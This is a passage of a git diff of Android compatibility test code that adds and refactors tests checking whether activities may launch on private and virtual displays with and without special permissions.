+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.server.wm;
+
+import static android.server.wm.app.Components.TEST_ACTIVITY;
+import static android.view.Display.FLAG_PRIVATE;
+
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assume.assumeFalse;
+import static org.junit.Assume.assumeTrue;
+
+import android.app.ActivityManager;
+import android.content.Context;
+import android.content.Intent;
+import android.platform.test.annotations.Presubmit;
+import android.server.wm.ActivityManagerState.DisplayContent;
+import android.server.wm.WindowManagerState.Display;
+import android.util.Log;
+
+import com.android.compatibility.common.util.SystemUtil;
+
+import java.util.ArrayList;
+
+import org.junit.Before;
+import org.junit.Test;
+
+/**
+ * Build/Install/Run:
+ * atest CtsWindowManagerDeviceTestCases:MultiDisplayPrivateDisplayTests
+ *
+ * Tests if be allowed to launch/access an activity on private display
+ * in multi-display environment.
+ */
+@Presubmit
+@android.server.wm.annotation.Group3
+public class MultiDisplayPrivateDisplayTests extends MultiDisplayTestBase {
+ private static final String TAG = "MultiDisplayPrivateDisplayTests";
+ private static final boolean DEBUG = Log.isLoggable(TAG, Log.DEBUG);
+ private static final String INTERNAL_SYSTEM_WINDOW =
+ "android.permission.INTERNAL_SYSTEM_WINDOW";
+ private ArrayList<Integer> mPrivateDisplayIds = new ArrayList<>();
+
+ @Before
+ @Override
+ public void setUp() throws Exception {
+ super.setUp();
+ assumeTrue(supportsMultiDisplay());
+ findPrivateDisplays();
+ assumeFalse("Skipping test: no physical private display found.",
+ mPrivateDisplayIds.isEmpty());
+ }
+
+ /** Saves physical private displays in mPrivateDisplayIds */
+ private void findPrivateDisplays() {
+ mPrivateDisplayIds.clear();
+ mAmWmState.computeState(true);
+
+ for (DisplayContent displayContent: getDisplaysStates()) {
+ int displayId = displayContent.mId;
+ Display display = mAmWmState.getWmState().getDisplay(displayId);
+ if ((display.getFlags() & FLAG_PRIVATE) != 0) {
+ mPrivateDisplayIds.add(displayId);
+ }
+ }
+ }
+
+ /**
+ * Tests launching an activity on a private display without special permission must not be
+ * allowed.
+ */
+ @Test
+ public void testCantLaunchOnPrivateDisplay() throws Exception {
+ // try on each private display
+ for (int displayId: mPrivateDisplayIds) {
+ separateTestJournal();
+
+ getLaunchActivityBuilder()
+ .setDisplayId(displayId)
+ .setTargetActivity(TEST_ACTIVITY)
+ .execute();
+
+ assertSecurityExceptionFromActivityLauncher();
+
+ mAmWmState.computeState(TEST_ACTIVITY);
+ assertFalse("Activity must not be launched on a private display",
+ mAmWmState.getAmState().containsActivity(TEST_ACTIVITY));
+ }
+ }
+
+ /**
+ * Tests
+ * {@link android.app.ActivityManager#isActivityStartAllowedOnDisplay(Context, int, Intent)}
+ * call to start an activity on private display is not allowed without special permission
+ */
+ @Test
+ public void testCantAccessPrivateDisplay() throws Exception {
+ final ActivityManager activityManager =
+ (ActivityManager) mTargetContext.getSystemService(Context.ACTIVITY_SERVICE);
+ final Intent intent = new Intent(Intent.ACTION_VIEW).setComponent(TEST_ACTIVITY);
+
+ for (int displayId: mPrivateDisplayIds) {
+ assertFalse(activityManager.isActivityStartAllowedOnDisplay(mTargetContext,
+ displayId, intent));
+ }
+ }
+
+ /**
+ * Tests
+ * {@link android.app.ActivityManager#isActivityStartAllowedOnDisplay(Context, int, Intent)}
+ * for a private display with INTERNAL_SYSTEM_WINDOW permission.
+ */
+ @Test
+ public void testCanAccessPrivateDisplayWithInternalPermission() throws Exception {
+ final ActivityManager activityManager =
+ (ActivityManager) mTargetContext.getSystemService(Context.ACTIVITY_SERVICE);
+ final Intent intent = new Intent(Intent.ACTION_VIEW)
+ .setComponent(TEST_ACTIVITY);
+
+ for (int displayId: mPrivateDisplayIds) {
+ SystemUtil.runWithShellPermissionIdentity(() ->
+ assertTrue(activityManager.isActivityStartAllowedOnDisplay(mTargetContext,
+ displayId, intent)), INTERNAL_SYSTEM_WINDOW);
+ }
+ }
+}
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/MultiDisplaySecurityTests.java b/tests/framework/base/windowmanager/src/android/server/wm/MultiDisplaySecurityTests.java
index b2654ee..f45ec03 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/MultiDisplaySecurityTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/MultiDisplaySecurityTests.java
@@ -16,8 +16,10 @@
package android.server.wm;
+import static android.server.wm.ActivityManagerState.STATE_RESUMED;
import static android.server.wm.ComponentNameUtils.getActivityName;
-import static android.server.wm.StateLogger.logAlways;
+import static android.server.wm.MockImeHelper.createManagedMockImeSession;
+import static android.server.wm.MultiDisplaySystemDecorationTests.ImeTestActivity;
import static android.server.wm.app.Components.DISPLAY_ACCESS_CHECK_EMBEDDING_ACTIVITY;
import static android.server.wm.app.Components.LAUNCHING_ACTIVITY;
import static android.server.wm.app.Components.LAUNCH_BROADCAST_RECEIVER;
@@ -40,10 +42,14 @@
import static android.view.Display.DEFAULT_DISPLAY;
import static android.view.ViewGroup.LayoutParams.WRAP_CONTENT;
-import static androidx.test.InstrumentationRegistry.getInstrumentation;
+import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
+
+import static com.android.cts.mockime.ImeEventStreamTestUtils.editorMatcher;
+import static com.android.cts.mockime.ImeEventStreamTestUtils.notExpectEvent;
import static org.junit.Assert.assertEquals;
import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotEquals;
import static org.junit.Assert.assertNull;
import static org.junit.Assert.assertTrue;
import static org.junit.Assert.fail;
@@ -53,27 +59,29 @@
import android.content.ComponentName;
import android.content.Context;
import android.content.Intent;
+import android.graphics.Rect;
import android.hardware.display.DisplayManager;
import android.os.Bundle;
-import android.os.SystemClock;
import android.platform.test.annotations.Presubmit;
-import android.server.wm.ActivityManagerState.ActivityDisplay;
+import android.server.wm.ActivityManagerState.DisplayContent;
import android.server.wm.ActivityManagerState.ActivityStack;
import android.server.wm.CommandSession.ActivitySession;
-import android.util.SparseArray;
+import android.server.wm.TestJournalProvider.TestJournalContainer;
import android.view.Display;
import android.view.View;
import android.view.ViewGroup;
import android.view.WindowManager;
-
-import androidx.test.filters.FlakyTest;
+import android.widget.EditText;
import com.android.compatibility.common.util.SystemUtil;
import com.android.compatibility.common.util.TestUtils;
+import com.android.cts.mockime.ImeEventStream;
+import com.android.cts.mockime.MockImeSession;
import org.junit.Before;
import org.junit.Test;
+import java.util.concurrent.TimeUnit;
/**
* Build/Install/Run:
@@ -82,6 +90,7 @@
* Tests if be allowed to launch an activity on multi-display environment.
*/
@Presubmit
+@android.server.wm.annotation.Group3
public class MultiDisplaySecurityTests extends MultiDisplayTestBase {
@Before
@@ -96,31 +105,27 @@
* for activities with same UID.
*/
@Test
- public void testLaunchWithoutPermissionOnVirtualDisplayByOwner() throws Exception {
- try (final VirtualDisplaySession virtualDisplaySession = new VirtualDisplaySession()) {
- // Create new virtual display.
- final ActivityDisplay newDisplay = virtualDisplaySession.createDisplay();
+ public void testLaunchWithoutPermissionOnVirtualDisplayByOwner() {
+ // Create new virtual display.
+ final DisplayContent newDisplay = createManagedVirtualDisplaySession().createDisplay();
- // Try to launch an activity and check it security exception was triggered.
- getLaunchActivityBuilder()
- .setUseBroadcastReceiver(LAUNCH_BROADCAST_RECEIVER, LAUNCH_BROADCAST_ACTION)
- .setDisplayId(newDisplay.mId)
- .setTargetActivity(TEST_ACTIVITY)
- .execute();
+ // Try to launch an activity and check it security exception was triggered.
+ getLaunchActivityBuilder()
+ .setUseBroadcastReceiver(LAUNCH_BROADCAST_RECEIVER, LAUNCH_BROADCAST_ACTION)
+ .setDisplayId(newDisplay.mId)
+ .setTargetActivity(TEST_ACTIVITY)
+ .execute();
- mAmWmState.waitForValidState(TEST_ACTIVITY);
+ mAmWmState.waitForValidState(TEST_ACTIVITY);
- final int externalFocusedStackId = mAmWmState.getAmState().getFocusedStackId();
- final ActivityStack focusedStack =
- mAmWmState.getAmState().getStackById(externalFocusedStackId);
- assertEquals("Focused stack must be on secondary display", newDisplay.mId,
- focusedStack.mDisplayId);
+ waitAndAssertActivityStateOnDisplay(TEST_ACTIVITY, STATE_RESUMED, newDisplay.mId,
+ "The Activity should be able to launch by virtual display owner");
- mAmWmState.assertFocusedActivity("Focus must be on newly launched app",
- TEST_ACTIVITY);
- assertEquals("Activity launched by owner must be on external display",
- externalFocusedStackId, mAmWmState.getAmState().getFocusedStackId());
- }
+ final int focusedStackId = mAmWmState.getAmState().getFocusedStackId();
+ final ActivityStack focusedStack =
+ mAmWmState.getAmState().getStackById(focusedStackId);
+ assertEquals("Focused stack must be on default display",DEFAULT_DISPLAY,
+ focusedStack.mDisplayId);
}
/**
@@ -128,27 +133,25 @@
* allowed.
*/
@Test
- public void testLaunchWithoutPermissionOnVirtualDisplay() throws Exception {
- try (final VirtualDisplaySession virtualDisplaySession = new VirtualDisplaySession()) {
- // Create new virtual display.
- final ActivityDisplay newDisplay = virtualDisplaySession.createDisplay();
+ public void testLaunchWithoutPermissionOnVirtualDisplay() {
+ // Create new virtual display.
+ final DisplayContent newDisplay = createManagedVirtualDisplaySession().createDisplay();
- separateTestJournal();
+ separateTestJournal();
- // Try to launch an activity and check it security exception was triggered.
- getLaunchActivityBuilder()
- .setUseBroadcastReceiver(SECOND_LAUNCH_BROADCAST_RECEIVER,
- SECOND_LAUNCH_BROADCAST_ACTION)
- .setDisplayId(newDisplay.mId)
- .setTargetActivity(TEST_ACTIVITY)
- .execute();
+ // Try to launch an activity and check it security exception was triggered.
+ getLaunchActivityBuilder()
+ .setUseBroadcastReceiver(SECOND_LAUNCH_BROADCAST_RECEIVER,
+ SECOND_LAUNCH_BROADCAST_ACTION)
+ .setDisplayId(newDisplay.mId)
+ .setTargetActivity(TEST_ACTIVITY)
+ .execute();
- assertSecurityExceptionFromActivityLauncher();
+ assertSecurityExceptionFromActivityLauncher();
- mAmWmState.computeState(TEST_ACTIVITY);
- assertFalse("Restricted activity must not be launched",
- mAmWmState.getAmState().containsActivity(TEST_ACTIVITY));
- }
+ mAmWmState.computeState(TEST_ACTIVITY);
+ assertFalse("Restricted activity must not be launched",
+ mAmWmState.getAmState().containsActivity(TEST_ACTIVITY));
}
/**
@@ -156,27 +159,31 @@
* doesn't allow embedding - it should fail with security exception.
*/
@Test
- public void testConsequentLaunchActivityFromVirtualDisplayNoEmbedding() throws Exception {
- try (final VirtualDisplaySession virtualDisplaySession = new VirtualDisplaySession()) {
- // Create new virtual display.
- final ActivityDisplay newDisplay = virtualDisplaySession.createDisplay();
+ public void testConsequentLaunchActivityFromVirtualDisplayNoEmbedding() {
+ // Create new virtual display.
+ final DisplayContent newDisplay = createManagedVirtualDisplaySession().createDisplay();
- // Launch activity on new secondary display.
- launchActivityOnDisplay(LAUNCHING_ACTIVITY, newDisplay.mId);
+ // Launch activity on new secondary display.
+ launchActivityOnDisplay(LAUNCHING_ACTIVITY, newDisplay.mId);
- waitAndAssertTopResumedActivity(LAUNCHING_ACTIVITY, newDisplay.mId,
- "Activity launched on secondary display must be resumed");
+ waitAndAssertActivityStateOnDisplay(LAUNCHING_ACTIVITY, STATE_RESUMED, newDisplay.mId,
+ "Activity launched on secondary display must be resumed");
- separateTestJournal();
+ separateTestJournal();
- // Launch second activity from app on secondary display specifying same display id.
- getLaunchActivityBuilder()
- .setTargetActivity(SECOND_NO_EMBEDDING_ACTIVITY)
- .setDisplayId(newDisplay.mId)
- .execute();
+ // Launch second activity from app on secondary display specifying same display id.
+ getLaunchActivityBuilder()
+ .setTargetActivity(SECOND_NO_EMBEDDING_ACTIVITY)
+ .setDisplayId(newDisplay.mId)
+ .execute();
- assertSecurityExceptionFromActivityLauncher();
- }
+ assertSecurityExceptionFromActivityLauncher();
+ }
+
+ private boolean isActivityStartAllowedOnDisplay(int displayId, ComponentName activity) {
+ final Intent intent = new Intent(Intent.ACTION_VIEW).setComponent(activity);
+ return mTargetContext.getSystemService(ActivityManager.class)
+ .isActivityStartAllowedOnDisplay(mTargetContext, displayId, intent);
}
/**
@@ -185,18 +192,12 @@
* for simulated display. It is owned by system and is public, so should be accessible.
*/
@Test
- public void testCanAccessSystemOwnedDisplay() throws Exception {
- try (final VirtualDisplaySession virtualDisplaySession = new VirtualDisplaySession()) {
- final ActivityDisplay newDisplay = virtualDisplaySession.setSimulateDisplay(true)
- .createDisplay();
+ public void testCanAccessSystemOwnedDisplay() {
+ final DisplayContent newDisplay = createManagedVirtualDisplaySession()
+ .setSimulateDisplay(true)
+ .createDisplay();
- final ActivityManager activityManager =
- (ActivityManager) mTargetContext.getSystemService(Context.ACTIVITY_SERVICE);
- final Intent intent = new Intent(Intent.ACTION_VIEW).setComponent(TEST_ACTIVITY);
-
- assertTrue(activityManager.isActivityStartAllowedOnDisplay(mTargetContext,
- newDisplay.mId, intent));
- }
+ assertTrue(isActivityStartAllowedOnDisplay(newDisplay.mId, TEST_ACTIVITY));
}
/**
@@ -205,20 +206,15 @@
* for a public virtual display and an activity that doesn't support embedding from shell.
*/
@Test
- public void testCanAccessPublicVirtualDisplayWithInternalPermission() throws Exception {
- try (final VirtualDisplaySession virtualDisplaySession = new VirtualDisplaySession()) {
- final ActivityDisplay newDisplay = virtualDisplaySession.setPublicDisplay(true)
- .createDisplay();
+ public void testCanAccessPublicVirtualDisplayWithInternalPermission() {
+ final DisplayContent newDisplay = createManagedVirtualDisplaySession()
+ .setPublicDisplay(true)
+ .createDisplay();
- final ActivityManager activityManager =
- (ActivityManager) mTargetContext.getSystemService(Context.ACTIVITY_SERVICE);
- final Intent intent = new Intent(Intent.ACTION_VIEW)
- .setComponent(SECOND_NO_EMBEDDING_ACTIVITY);
-
- SystemUtil.runWithShellPermissionIdentity(() ->
- assertTrue(activityManager.isActivityStartAllowedOnDisplay(mTargetContext,
- newDisplay.mId, intent)), "android.permission.INTERNAL_SYSTEM_WINDOW");
- }
+ SystemUtil.runWithShellPermissionIdentity(
+ () -> assertTrue(isActivityStartAllowedOnDisplay(
+ newDisplay.mId, SECOND_NO_EMBEDDING_ACTIVITY)),
+ "android.permission.INTERNAL_SYSTEM_WINDOW");
}
/**
@@ -227,20 +223,15 @@
* for a private virtual display and an activity that doesn't support embedding from shell.
*/
@Test
- public void testCanAccessPrivateVirtualDisplayWithInternalPermission() throws Exception {
- try (final VirtualDisplaySession virtualDisplaySession = new VirtualDisplaySession()) {
- final ActivityDisplay newDisplay = virtualDisplaySession.setPublicDisplay(false)
- .createDisplay();
+ public void testCanAccessPrivateVirtualDisplayWithInternalPermission() {
+ final DisplayContent newDisplay = createManagedVirtualDisplaySession()
+ .setPublicDisplay(false)
+ .createDisplay();
- final ActivityManager activityManager =
- (ActivityManager) mTargetContext.getSystemService(Context.ACTIVITY_SERVICE);
- final Intent intent = new Intent(Intent.ACTION_VIEW)
- .setComponent(SECOND_NO_EMBEDDING_ACTIVITY);
-
- SystemUtil.runWithShellPermissionIdentity(() ->
- assertTrue(activityManager.isActivityStartAllowedOnDisplay(mTargetContext,
- newDisplay.mId, intent)), "android.permission.INTERNAL_SYSTEM_WINDOW");
- }
+ SystemUtil.runWithShellPermissionIdentity(
+ () -> assertTrue(isActivityStartAllowedOnDisplay(
+ newDisplay.mId, SECOND_NO_EMBEDDING_ACTIVITY)),
+ "android.permission.INTERNAL_SYSTEM_WINDOW");
}
/**
@@ -250,18 +241,12 @@
* does not have required permission to embed an activity from other app.
*/
@Test
- public void testCantAccessPublicVirtualDisplayNoEmbeddingPermission() throws Exception {
- try (final VirtualDisplaySession virtualDisplaySession = new VirtualDisplaySession()) {
- final ActivityDisplay newDisplay = virtualDisplaySession.setPublicDisplay(true)
- .createDisplay();
+ public void testCantAccessPublicVirtualDisplayNoEmbeddingPermission() {
+ final DisplayContent newDisplay = createManagedVirtualDisplaySession()
+ .setPublicDisplay(true)
+ .createDisplay();
- final ActivityManager activityManager =
- (ActivityManager) mTargetContext.getSystemService(Context.ACTIVITY_SERVICE);
- final Intent intent = new Intent(Intent.ACTION_VIEW).setComponent(SECOND_ACTIVITY);
-
- assertFalse(activityManager.isActivityStartAllowedOnDisplay(mTargetContext,
- newDisplay.mId, intent));
- }
+ assertFalse(isActivityStartAllowedOnDisplay(newDisplay.mId, SECOND_ACTIVITY));
}
/**
@@ -270,20 +255,15 @@
* for a public virtual display and an activity that does not support embedding.
*/
@Test
- public void testCantAccessPublicVirtualDisplayActivityEmbeddingNotAllowed() throws Exception {
- try (final VirtualDisplaySession virtualDisplaySession = new VirtualDisplaySession()) {
- final ActivityDisplay newDisplay = virtualDisplaySession.setPublicDisplay(true)
- .createDisplay();
+ public void testCantAccessPublicVirtualDisplayActivityEmbeddingNotAllowed() {
+ final DisplayContent newDisplay = createManagedVirtualDisplaySession()
+ .setPublicDisplay(true)
+ .createDisplay();
- final ActivityManager activityManager =
- (ActivityManager) mTargetContext.getSystemService(Context.ACTIVITY_SERVICE);
- final Intent intent = new Intent(Intent.ACTION_VIEW)
- .setComponent(SECOND_NO_EMBEDDING_ACTIVITY);
-
- SystemUtil.runWithShellPermissionIdentity(() ->
- assertFalse(activityManager.isActivityStartAllowedOnDisplay(mTargetContext,
- newDisplay.mId, intent)), "android.permission.ACTIVITY_EMBEDDING");
- }
+ SystemUtil.runWithShellPermissionIdentity(
+ () -> assertFalse(isActivityStartAllowedOnDisplay(
+ newDisplay.mId, SECOND_NO_EMBEDDING_ACTIVITY)),
+ "android.permission.ACTIVITY_EMBEDDING");
}
/**
@@ -292,20 +272,15 @@
* for a public virtual display and an activity that supports embedding.
*/
@Test
- public void testCanAccessPublicVirtualDisplayActivityEmbeddingAllowed() throws Exception {
- try (final VirtualDisplaySession virtualDisplaySession = new VirtualDisplaySession()) {
- final ActivityDisplay newDisplay = virtualDisplaySession.setPublicDisplay(true)
- .createDisplay();
+ public void testCanAccessPublicVirtualDisplayActivityEmbeddingAllowed() {
+ final DisplayContent newDisplay = createManagedVirtualDisplaySession()
+ .setPublicDisplay(true)
+ .createDisplay();
- final ActivityManager activityManager =
- (ActivityManager) mTargetContext.getSystemService(Context.ACTIVITY_SERVICE);
- final Intent intent = new Intent(Intent.ACTION_VIEW)
- .setComponent(SECOND_ACTIVITY);
-
- SystemUtil.runWithShellPermissionIdentity(() ->
- assertTrue(activityManager.isActivityStartAllowedOnDisplay(mTargetContext,
- newDisplay.mId, intent)), "android.permission.ACTIVITY_EMBEDDING");
- }
+ SystemUtil.runWithShellPermissionIdentity(
+ () -> assertTrue(isActivityStartAllowedOnDisplay(
+ newDisplay.mId, SECOND_ACTIVITY)),
+ "android.permission.ACTIVITY_EMBEDDING");
}
/**
@@ -314,18 +289,12 @@
* for a private virtual display.
*/
@Test
- public void testCantAccessPrivateVirtualDisplay() throws Exception {
- try (final VirtualDisplaySession virtualDisplaySession = new VirtualDisplaySession()) {
- final ActivityDisplay newDisplay = virtualDisplaySession.setPublicDisplay(false)
- .createDisplay();
+ public void testCantAccessPrivateVirtualDisplay() {
+ final DisplayContent newDisplay = createManagedVirtualDisplaySession()
+ .setPublicDisplay(false)
+ .createDisplay();
- final ActivityManager activityManager =
- (ActivityManager) mTargetContext.getSystemService(Context.ACTIVITY_SERVICE);
- final Intent intent = new Intent(Intent.ACTION_VIEW).setComponent(SECOND_ACTIVITY);
-
- assertFalse(activityManager.isActivityStartAllowedOnDisplay(mTargetContext,
- newDisplay.mId, intent));
- }
+ assertFalse(isActivityStartAllowedOnDisplay(newDisplay.mId, SECOND_ACTIVITY));
}
/**
@@ -334,21 +303,20 @@
* for a private virtual display to check the start of its own activity.
*/
@Test
- public void testCanAccessPrivateVirtualDisplayByOwner() throws Exception {
- try (final VirtualDisplaySession virtualDisplaySession = new VirtualDisplaySession()) {
- final ActivityDisplay newDisplay = virtualDisplaySession.setPublicDisplay(false)
- .createDisplay();
+ public void testCanAccessPrivateVirtualDisplayByOwner() {
+ final DisplayContent newDisplay = createManagedVirtualDisplaySession()
+ .setPublicDisplay(false)
+ .createDisplay();
- // Check the embedding call
- separateTestJournal();
- mContext.sendBroadcast(new Intent(ACTION_TEST_ACTIVITY_START)
- .setPackage(LAUNCH_BROADCAST_RECEIVER.getPackageName())
- .setFlags(Intent.FLAG_RECEIVER_FOREGROUND)
- .putExtra(EXTRA_COMPONENT_NAME, TEST_ACTIVITY)
- .putExtra(EXTRA_TARGET_DISPLAY, newDisplay.mId));
+ // Check the embedding call.
+ separateTestJournal();
+ mContext.sendBroadcast(new Intent(ACTION_TEST_ACTIVITY_START)
+ .setPackage(LAUNCH_BROADCAST_RECEIVER.getPackageName())
+ .setFlags(Intent.FLAG_RECEIVER_FOREGROUND)
+ .putExtra(EXTRA_COMPONENT_NAME, TEST_ACTIVITY)
+ .putExtra(EXTRA_TARGET_DISPLAY, newDisplay.mId));
- assertActivityStartCheckResult(true);
- }
+ assertActivityStartCheckResult(true);
}
/**
@@ -358,23 +326,21 @@
* embedding.
*/
@Test
- public void testCanAccessPrivateVirtualDisplayByUidPresentOnDisplayActivityEmbeddingAllowed()
- throws Exception {
- try (final VirtualDisplaySession virtualDisplaySession = new VirtualDisplaySession()) {
- final ActivityDisplay newDisplay = virtualDisplaySession.setPublicDisplay(false)
- .createDisplay();
- // Launch a test activity into the target display
- launchActivityOnDisplay(EMBEDDING_ACTIVITY, newDisplay.mId);
+ public void testCanAccessPrivateVirtualDisplayByUidPresentOnDisplayActivityEmbeddingAllowed() {
+ final DisplayContent newDisplay = createManagedVirtualDisplaySession()
+ .setPublicDisplay(false)
+ .createDisplay();
+ // Launch a test activity into the target display.
+ launchActivityOnDisplay(EMBEDDING_ACTIVITY, newDisplay.mId);
- // Check the embedding call
- separateTestJournal();
- mContext.sendBroadcast(new Intent(ACTION_EMBEDDING_TEST_ACTIVITY_START)
- .setFlags(Intent.FLAG_RECEIVER_FOREGROUND)
- .putExtra(EXTRA_EMBEDDING_COMPONENT_NAME, SECOND_ACTIVITY)
- .putExtra(EXTRA_EMBEDDING_TARGET_DISPLAY, newDisplay.mId));
+ // Check the embedding call.
+ separateTestJournal();
+ mContext.sendBroadcast(new Intent(ACTION_EMBEDDING_TEST_ACTIVITY_START)
+ .setFlags(Intent.FLAG_RECEIVER_FOREGROUND)
+ .putExtra(EXTRA_EMBEDDING_COMPONENT_NAME, SECOND_ACTIVITY)
+ .putExtra(EXTRA_EMBEDDING_TARGET_DISPLAY, newDisplay.mId));
- assertActivityStartCheckResult(true);
- }
+ assertActivityStartCheckResult(true);
}
/**
@@ -386,116 +352,111 @@
@Test
public void testCanAccessPrivateVirtualDisplayByUidPresentOnDisplayActivityEmbeddingNotAllowed()
throws Exception {
- try (final VirtualDisplaySession virtualDisplaySession = new VirtualDisplaySession()) {
- final ActivityDisplay newDisplay = virtualDisplaySession.setPublicDisplay(false)
- .createDisplay();
- // Launch a test activity into the target display
- launchActivityOnDisplay(EMBEDDING_ACTIVITY, newDisplay.mId);
+ final DisplayContent newDisplay = createManagedVirtualDisplaySession()
+ .setPublicDisplay(false)
+ .createDisplay();
+ // Launch a test activity into the target display.
+ launchActivityOnDisplay(EMBEDDING_ACTIVITY, newDisplay.mId);
- // Check the embedding call
- separateTestJournal();
- mContext.sendBroadcast(new Intent(ACTION_EMBEDDING_TEST_ACTIVITY_START)
- .setFlags(Intent.FLAG_RECEIVER_FOREGROUND)
- .putExtra(EXTRA_EMBEDDING_COMPONENT_NAME, SECOND_NO_EMBEDDING_ACTIVITY)
- .putExtra(EXTRA_EMBEDDING_TARGET_DISPLAY, newDisplay.mId));
+ // Check the embedding call.
+ separateTestJournal();
+ mContext.sendBroadcast(new Intent(ACTION_EMBEDDING_TEST_ACTIVITY_START)
+ .setFlags(Intent.FLAG_RECEIVER_FOREGROUND)
+ .putExtra(EXTRA_EMBEDDING_COMPONENT_NAME, SECOND_NO_EMBEDDING_ACTIVITY)
+ .putExtra(EXTRA_EMBEDDING_TARGET_DISPLAY, newDisplay.mId));
- assertActivityStartCheckResult(false);
- }
+ assertActivityStartCheckResult(false);
}
private void assertActivityStartCheckResult(boolean expected) {
final String component = ActivityLauncher.TAG;
- for (int retry = 1; retry <= 5; retry++) {
- final Bundle extras = TestJournalProvider.TestJournalContainer.get(component).extras;
- if (extras.containsKey(ActivityLauncher.KEY_IS_ACTIVITY_START_ALLOWED_ON_DISPLAY)) {
- assertEquals("Activity start check must match", expected, extras
- .getBoolean(ActivityLauncher.KEY_IS_ACTIVITY_START_ALLOWED_ON_DISPLAY));
- return;
- }
-
- logAlways("***Waiting for activity start check for " + component
- + " ... retry=" + retry);
- SystemClock.sleep(500);
+ final Bundle resultExtras = Condition.waitForResult(
+ new Condition<Bundle>("activity start check for " + component)
+ .setRetryIntervalMs(500)
+ .setResultSupplier(() -> TestJournalContainer.get(component).extras)
+ .setResultValidator(extras -> extras.containsKey(
+ ActivityLauncher.KEY_IS_ACTIVITY_START_ALLOWED_ON_DISPLAY)));
+ if (resultExtras != null) {
+ assertEquals("Activity start check must match", expected, resultExtras
+ .getBoolean(ActivityLauncher.KEY_IS_ACTIVITY_START_ALLOWED_ON_DISPLAY));
+ return;
}
fail("Expected activity start check from " + component + " not found");
}
@Test
- public void testDisplayHasAccess_UIDCanPresentOnPrivateDisplay() throws Exception {
- try (final VirtualDisplayLauncher virtualDisplayLauncher = new VirtualDisplayLauncher()) {
- // Create a virtual private display.
- final ActivityDisplay newDisplay = virtualDisplayLauncher
- .setPublicDisplay(false)
- .createDisplay();
- // Launch an embeddable activity into the private display.
- // Assert that the UID can present on display.
- final ActivitySession session1 = virtualDisplayLauncher.launchActivityOnDisplay(
- DISPLAY_ACCESS_CHECK_EMBEDDING_ACTIVITY, newDisplay);
- assertEquals("Activity which the UID should accessible on private display",
- isUidAccesibleOnDisplay(session1), true);
+ public void testDisplayHasAccess_UIDCanPresentOnPrivateDisplay() {
+ final VirtualDisplayLauncher virtualDisplayLauncher =
+ mObjectTracker.manage(new VirtualDisplayLauncher());
+ // Create a virtual private display.
+ final DisplayContent newDisplay = virtualDisplayLauncher
+ .setPublicDisplay(false)
+ .createDisplay();
+ // Launch an embeddable activity into the private display.
+ // Assert that the UID can present on display.
+ final ActivitySession session1 = virtualDisplayLauncher.launchActivityOnDisplay(
+ DISPLAY_ACCESS_CHECK_EMBEDDING_ACTIVITY, newDisplay);
+ assertEquals("Activity which the UID should accessible on private display",
+ isUidAccesibleOnDisplay(session1), true);
- // Launch another embeddable activity with a different UID, verify that it will be
- // able to access the display where it was put.
- // Note that set withShellPermission as true in launchActivityOnDisplay is to
- // make sure ACTIVITY_EMBEDDING can be granted by shell.
- final ActivitySession session2 = virtualDisplayLauncher.launchActivityOnDisplay(
- SECOND_ACTIVITY, newDisplay,
- bundle -> bundle.putBoolean(EXTRA_DISPLAY_ACCESS_CHECK, true),
- true /* withShellPermission */, true /* waitForLaunch */);
+ // Launch another embeddable activity with a different UID, verify that it will be
+ // able to access the display where it was put.
+ // Note that set withShellPermission as true in launchActivityOnDisplay is to
+ // make sure ACTIVITY_EMBEDDING can be granted by shell.
+ final ActivitySession session2 = virtualDisplayLauncher.launchActivityOnDisplay(
+ SECOND_ACTIVITY, newDisplay,
+ bundle -> bundle.putBoolean(EXTRA_DISPLAY_ACCESS_CHECK, true),
+ true /* withShellPermission */, true /* waitForLaunch */);
- // Verify SECOND_ACTIVITY's UID has access to this virtual private display.
- assertEquals("Second activity which the UID should accessible on private display",
- isUidAccesibleOnDisplay(session2), true);
- }
+ // Verify SECOND_ACTIVITY's UID has access to this virtual private display.
+ assertEquals("Second activity which the UID should accessible on private display",
+ isUidAccesibleOnDisplay(session2), true);
}
@Test
- public void testDisplayHasAccess_NoAccessWhenUIDNotPresentOnPrivateDisplay() throws Exception {
- try (final VirtualDisplayLauncher virtualDisplayLauncher = new VirtualDisplayLauncher()) {
- // Create a virtual private display.
- final ActivityDisplay newDisplay = virtualDisplayLauncher
- .setPublicDisplay(false)
- .createDisplay();
- // Launch an embeddable activity into the private display.
- // Assume that the UID can access on display.
- final ActivitySession session1 = virtualDisplayLauncher.launchActivityOnDisplay(
- DISPLAY_ACCESS_CHECK_EMBEDDING_ACTIVITY, newDisplay);
- assertEquals("Activity which the UID should accessible on private display",
- isUidAccesibleOnDisplay(session1), true);
+ public void testDisplayHasAccess_NoAccessWhenUIDNotPresentOnPrivateDisplay() {
+ final VirtualDisplayLauncher virtualDisplayLauncher =
+ mObjectTracker.manage(new VirtualDisplayLauncher());
+ // Create a virtual private display.
+ final DisplayContent newDisplay = virtualDisplayLauncher
+ .setPublicDisplay(false)
+ .createDisplay();
+ // Launch an embeddable activity into the private display.
+ // Assume that the UID can access on display.
+ final ActivitySession session1 = virtualDisplayLauncher.launchActivityOnDisplay(
+ DISPLAY_ACCESS_CHECK_EMBEDDING_ACTIVITY, newDisplay);
+ assertEquals("Activity which the UID should accessible on private display",
+ isUidAccesibleOnDisplay(session1), true);
- // Verify SECOND_NO_EMBEDDING_ACTIVITY's UID can't access this virtual private display
- // since there is no entity with this UID on this display.
- // Note that set withShellPermission as false in launchActivityOnDisplay is to
- // prevent activity can launch when INTERNAL_SYSTEM_WINDOW granted by shell case.
- separateTestJournal();
- final ActivitySession session2 = virtualDisplayLauncher.launchActivityOnDisplay(
- SECOND_NO_EMBEDDING_ACTIVITY, newDisplay, null /* extrasConsumer */,
- false /* withShellPermission */, false /* waitForLaunch */);
- assertEquals("Second activity which the UID should not accessible on private display",
- isUidAccesibleOnDisplay(session2), false);
- }
+ // Verify SECOND_NO_EMBEDDING_ACTIVITY's UID can't access this virtual private display
+ // since there is no entity with this UID on this display.
